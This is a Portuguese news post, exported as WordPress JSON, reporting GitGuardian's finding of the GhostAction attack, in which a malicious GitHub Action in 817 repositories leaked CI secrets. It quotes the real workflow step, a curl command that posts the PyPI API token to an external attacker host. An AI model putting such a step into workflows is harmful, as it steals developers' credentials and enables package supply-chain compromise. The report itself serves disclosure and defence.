{"id":142433,"date":"2025-09-06T11:11:58","date_gmt":"2025-09-06T09:11:59","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github"},"modified":"2025-09-06T11:11:58","modified_gmt":"2025-09-06T09:11:59","slug":"v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","status":"publish","type":"post","link":"https:\/\/prohoster.info\/pt\/blog\/news\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","title":{"rendered":"Durante o ataque GhostAction, 817 reposit\u00f3rios no GitHub foram comprometidos.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
Pesquisadores da GitGuardian identificaram um ataque em massa aos usu\u00e1rios do GitHub, resultando no controle de 327 contas e na inser\u00e7\u00e3o de um manipulador malicioso do GitHub Action em 817 reposit\u00f3rios. O ataque levou ao vazamento de 3.325 segredos utilizados em sistemas de integra\u00e7\u00e3o cont\u00ednua, transmitidos por meio de vari\u00e1veis de ambiente, incluindo tokens de acesso ao PyPI, GitHub, NPM, DockerHub e v\u00e1rios servi\u00e7os de armazenamento em nuvem.
<\/center> <\/p>\n
O GitHub Actions permite que desenvolvedores de c\u00f3digo anexem manipuladores para automatizar diversas opera\u00e7\u00f5es no GitHub. Por exemplo, com o GitHub Actions, \u00e9 poss\u00edvel executar determinadas verifica\u00e7\u00f5es e testes ao realizar commits ou automatizar o processamento de novas Issues. Um manipulador malicioso foi disseminado sob o nome «Github Actions Security» e inclu\u00eda na se\u00e7\u00e3o «run» um comando «curl» que enviava o conte\u00fado de vari\u00e1veis de ambiente para um host externo ao executar tarefas em um ambiente de integra\u00e7\u00e3o cont\u00ednua. O commit malicioso foi adicionado a partir de contas de mantenedores de projetos que provavelmente haviam sido hackeadas ou se tornaram v\u00edtimas de phishing. <\/p>\n
O ataque foi identificado ap\u00f3s a an\u00e1lise de uma atividade an\u00f4mala relacionada ao pacote FastUUID, que fornece um wrapper Python sobre a biblioteca Rust UUID. O pacote FastUUID, que teve quase 1,2 milh\u00f5es de downloads na \u00faltima semana, \u00e9 usado como depend\u00eancia no popular projeto LiteLLM, que conta com mais de 5 milh\u00f5es de downloads na PyPI por semana. A an\u00e1lise das mudan\u00e7as no reposit\u00f3rio FastUUID mostrou que, em 2 de setembro, um mantenedor do projeto adicionou um commit com um novo manipulador do Github Action, que continha c\u00f3digo para enviar o token para o reposit\u00f3rio PyPI a um host externo. — name: Github Actions Security run: | curl -s -X POST -d ‘PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}’ https:\/\/bold-dhawan.45-139-104-115.plesk.page <\/p>\n
O problema foi identificado antes que os criminosos pudessem usar o token interceptado — a publica\u00e7\u00e3o de altera\u00e7\u00f5es maliciosas ou vers\u00f5es modificadas do pacote na PyPI para o FastUUID n\u00e3o foi registrada. Substitui\u00e7\u00f5es similares de Github Action foram identificadas em mais 816 reposit\u00f3rios, cujos propriet\u00e1rios, assim como a administra\u00e7\u00e3o da PyPI, GitHub, NPM e DockerHub, receberam notifica\u00e7\u00f5es. At\u00e9 a noite de ontem, os commits maliciosos foram revertidos em cerca de 100 reposit\u00f3rios. Atualmente, ao buscar no GitHub, \u00e9 poss\u00edvel encontrar 671 commits com o Github Action malicioso. \n Fonte: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"
![\"Durante](\"\/wp-content\/uploads\/2025\/09\/67680941517aef43057214be405892b7.png\")
<\/center> <\/p>\n